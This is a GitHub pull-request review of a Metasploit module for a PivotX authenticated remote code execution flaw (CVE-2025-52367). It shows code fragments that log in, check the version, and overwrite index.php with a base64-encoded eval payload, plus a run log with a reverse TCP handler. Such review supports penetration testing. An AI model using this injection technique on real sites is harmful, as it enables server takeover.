-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Adds module for PivotX RCE (CVE-2025-52367) #20400
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
|
||
Install steps: | ||
|
||
1. Install Apache2, MySQL, PHP8.2+ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I tried using 8.2 and after creating the first user I was getting the following error:
[Wed Jul 23 14:05:00.872415 2025] [php:error] [pid 246376] [client 172.16.199.1:60785] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /var/www/html/PivotX/pivotx/objects.php:2460\nStack trace:\n#0 /var/www/html/PivotX/pivotx/objects.php(2252): Session->saveLogins()\n#1 /var/www/html/PivotX/pivotx/objects.php(2187): Session->logFailedLogin()\n#2 /var/www/html/PivotX/pivotx/pages.php(117): Session->login()\n#3 /var/www/html/PivotX/pivotx/lib.php(257): pageLogin()\n#4 /var/www/html/PivotX/pivotx/index.php(21): displayPage()\n#5 {main}\n thrown in /var/www/html/PivotX/pivotx/objects.php on line 2460, referer: http://172.16.199.136/PivotX/pivotx/index.php?page=login&px_message=The+user+has+been+added%21+You+can+login+with+your+new+account+now.
I switch to using PHP7.4 and had no issues 🤷♂️
|
||
1. Install Apache2, MySQL, PHP8.2+ | ||
1. `git clone https://github.com/pivotx/PivotX.git` | ||
1. Move `PivotX` to webfolder |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
1. Move `PivotX` to webfolder | |
1. Move `PivotX` to webfolder | |
1. Run the following from the web folder `sudo chown -R www-data:www-data ./` |
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html | ||
|
||
include Exploit::Remote::Tcp |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think you need this as the module is just sending HTTP requests via send_request_cgi
in order to authenticate and exploit.
include Exploit::Remote::Tcp |
def check | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This isn't necessarily incorrect but I think it's more conventional to build uri's using target_uri.path
rather than referencing the datastore option. Theres a couple instances of this pattern in the module.
➜ metasploit-framework git:(75f6e6a748) rg "normalize_uri\(datastore" | wc -l
447
➜ metasploit-framework git:(75f6e6a748) rg "normalize_uri\(target_uri" | wc -l
2825
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php') | |
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you change the name of the file to something that relates to this exploit specifically? We try to tie exploit file names to the exploit themselves (or the vulnerable endpoint of the application) to avoid having multiple modules named<application>_rce
, <application>_rce2
Something like pivotx_index_php_overwrite.rb
would be great.
'keep_cookies' => true | ||
}) | ||
|
||
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the credentials are incorrect the application will tell you. In event of a unsuccessful login attempt it would be good to definitively tell the user that the application denied authentication due to incorrect credentials.
We should try to extract the following:
<div class="messages" id="messages">
<p>Incorrect username/password</p>
</div>
With an xpath similar to:
[1] pry(#<Msf::Modules::Exploit__Linux__Http__Pivotx_rce::MetasploitModule>)> res&.get_html_document&.at("//div[@id='messages']/p/text()")&.text
=> "Incorrect username/password"
Also it appears you can successfully authenticate but receive a 302
+ redirect to index.php
, which we will need to account for here:
msf exploit(linux/http/pivotx_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
####################
# Request:
####################
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 172.16.199.136
User-Agent: Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Length: 440
------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="returnto"
------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="template"
------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="username"
msfuser
------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="password"
notpassword
------WebKitFormBoundaryVCMtuwLZUktmCpYj
####################
# Response:
####################
HTTP/1.1 302 Found
Date: Wed, 23 Jul 2025 23:05:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=d0mf5u9gduoocfid2hlmtpu4js; expires=Fri, 22-Aug-2025 23:05:09 GMT; Max-Age=2592000; path=/PivotX/; domain=172.16.199.136, pivotxsession=pf65d23qecsc8t; expires=Fri, 22-Aug-2025 23:05:09 GMT; Max-Age=2592000; path=/PivotX/; domain=172.16.199.136
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
[-] 172.16.199.136:80 - Exploit aborted due to failure: no-access: Login failed, probably incorrect credentials
[*] Exploit completed, but no session was created.
boundary = Rex::Text.rand_text_alphanumeric(16).to_s | ||
data_post = "------WebKitFormBoundary#{boundary}\r\n" | ||
|
||
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n" | ||
data_post << "\r\n" | ||
data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
||
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n" | ||
data_post << "\r\n" | ||
data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
||
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" | ||
data_post << "#{datastore['USERNAME']}\r\n" | ||
data_post << "------WebKitFormBoundary#{boundary}\r\n" | ||
|
||
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" | ||
data_post << "#{datastore['PASSWORD']}\r\n" | ||
data_post << "------WebKitFormBoundary#{boundary}\r\n" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You should be able to use Rex::MIME::Message
here
boundary = Rex::Text.rand_text_alphanumeric(16).to_s | |
data_post = "------WebKitFormBoundary#{boundary}\r\n" | |
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n" | |
data_post << "\r\n" | |
data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n" | |
data_post << "\r\n" | |
data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n" | |
data_post << "#{datastore['USERNAME']}\r\n" | |
data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n" | |
data_post << "#{datastore['PASSWORD']}\r\n" | |
data_post << "------WebKitFormBoundary#{boundary}\r\n" | |
boundary = Rex::Text.rand_text_alphanumeric(16).to_s | |
data_post = Rex::MIME::Message.new | |
data_post.bound = boundary | |
data_post.add_part('', nil, nil, 'form-data; name="returnto"') | |
data_post.add_part('', nil, nil, 'form-data; name="template"') | |
data_post.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="username"') | |
data_post.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yep, I have tried that, butRex::MIME::Message
seems to have some issues, because this is request when it's custom MIME message:
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Length: 429
Connection: keep-alive
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="returnto"
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="template"
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="username"
[username]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="password"
[password]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Which application accepts and process. And this is request sent with MIME
:
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Length: 411
Connection: keep-alive
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="returnto"
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="template"
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="username"
[username]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="password"
[password]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E--
```
and when this request is sent to the application, it acts like there's no password/username. Not sure why it's happening, it might be problem with `MIME` library because I did have some issues with it previously. Will investigate more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe you tried something slightly different before? The above suggestion has been tested successfully on my installation. Give it a try and let me know if you run into any issues.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
My bad, did something stupid and it didn't work as expected. But should be fixed now!
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } | ||
}) | ||
|
||
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file.
documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md
Outdated
Show resolved
Hide resolved
|
||
version = Rex::Version.new(Regexp.last_match(1)) | ||
|
||
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | |
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') |
|
||
html_body = res.get_html_document | ||
|
||
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } | |
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } |
|
||
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') | ||
|
||
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") | |
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") |
modify_file | ||
vprint_status('Triggering payload') | ||
trigger_payload | ||
restore |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you add restore
to an ensure
block?
… CheckCode::Unknown to CheckCode::Detected
Co-authored-by: jheysel-r7 <[email protected]>
Vulnerable Application
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.
Install steps:
git clone https://github.com/pivotx/PivotX.git
PivotX
to webfolderVerification Steps
use exploit/linux/http/pivotx_rce
set USERNAME [PivotX username]
set PASSWORD [PivotX password]
set RHOSTS [target IP]
set LHOST [attacker IP]
run
Options
USERNAME
PivotX username.
PASSWORD
PivotX password.
Scenarios